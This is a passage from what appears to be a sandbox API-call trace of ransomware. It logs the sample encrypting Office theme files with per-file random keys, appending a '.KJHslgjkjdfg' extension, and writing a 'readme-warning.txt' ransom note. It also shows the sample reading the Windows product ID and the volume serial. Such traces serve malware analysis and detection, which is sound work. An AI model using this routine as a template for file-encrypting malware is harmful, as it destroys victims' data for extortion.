[0187.580] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0187.580] CryptDestroyKey (hKey=0x2f18308) returned 1 [0187.580] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0187.580] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0187.580] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0187.580] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0187.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0187.581] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0187.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0187.581] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0187.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.581] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1936f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1936f, lpOverlapped=0x0) returned 1 [0188.088] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x19370, dwBufLen=0x19370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x19370) returned 1 [0188.088] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.089] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19370, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x19370, lpOverlapped=0x0) returned 1 [0188.089] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.089] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x19434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.089] SetEndOfFile (hFile=0x12c) returned 1 [0188.092] GetProcessHeap () returned 0x2ef0000 [0188.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.092] GetProcessHeap () returned 0x2ef0000 [0188.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.kjhslgjkjdfg")) returned 1 [0188.147] CloseHandle (hObject=0x12c) returned 1 [0188.147] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0188.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.148] GetProcessHeap () returned 0x2ef0000 [0188.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.148] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.148] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.148] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.150] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.150] GetProcessHeap () returned 0x2ef0000 [0188.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.150] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.150] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.150] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.177] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.177] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.177] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1c8, lpOverlapped=0x0) returned 1 [0188.177] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1d0) returned 1 [0188.177] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.177] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1d0, lpOverlapped=0x0) returned 1 [0188.177] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.177] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.177] SetEndOfFile (hFile=0x12c) returned 1 [0188.180] GetProcessHeap () returned 0x2ef0000 [0188.180] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.180] GetProcessHeap () returned 0x2ef0000 [0188.180] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.kjhslgjkjdfg")) returned 1 [0188.244] CloseHandle (hObject=0x12c) returned 1 [0188.244] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0188.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.245] GetProcessHeap () returned 0x2ef0000 [0188.245] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.245] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.245] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.245] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0188.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.318] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.318] GetProcessHeap () returned 0x2ef0000 [0188.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.318] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.318] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.318] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.318] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.318] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.319] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.319] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.319] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.363] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.363] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.363] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8573, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x8573, lpOverlapped=0x0) returned 1 [0188.379] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8580, dwBufLen=0x8580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8580) returned 1 [0188.379] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.380] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8580, lpOverlapped=0x0) returned 1 [0188.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.380] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x8654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.380] SetEndOfFile (hFile=0x12c) returned 1 [0188.383] GetProcessHeap () returned 0x2ef0000 [0188.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.383] GetProcessHeap () returned 0x2ef0000 [0188.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0188.384] CloseHandle (hObject=0x12c) returned 1 [0188.384] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0188.384] GetProcessHeap () returned 0x2ef0000 [0188.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.385] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0188.385] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.385] GetProcessHeap () returned 0x2ef0000 [0188.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0188.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.385] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0188.385] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.385] GetProcessHeap () returned 0x2ef0000 [0188.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0188.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.385] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0188.385] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.385] GetProcessHeap () returned 0x2ef0000 [0188.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0188.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.385] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0188.385] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.385] GetProcessHeap () returned 0x2ef0000 [0188.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.386] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.386] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0188.386] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.386] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0188.386] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0188.386] RegCloseKey (hKey=0x12c) returned 0x0 [0188.386] GetProcessHeap () returned 0x2ef0000 [0188.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0188.386] GetProcessHeap () returned 0x2ef0000 [0188.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.386] GetProcessHeap () returned 0x2ef0000 [0188.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.386] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.386] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0188.386] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.386] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0188.386] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0188.387] GetProcessHeap () returned 0x2ef0000 [0188.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.387] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0188.387] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0188.387] GetProcessHeap () returned 0x2ef0000 [0188.387] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0188.387] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\readme-warning.txt") returned 80 [0188.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.388] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0188.389] CloseHandle (hObject=0x12c) returned 1 [0188.389] GetProcessHeap () returned 0x2ef0000 [0188.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0188.389] GetProcessHeap () returned 0x2ef0000 [0188.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0188.389] GetProcessHeap () returned 0x2ef0000 [0188.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0188.389] GetProcessHeap () returned 0x2ef0000 [0188.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.389] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0188.390] GetProcessHeap () returned 0x2ef0000 [0188.390] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0188.390] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0188.390] GetProcessHeap () returned 0x2ef0000 [0188.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x88) returned 0x2f45740 [0188.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, 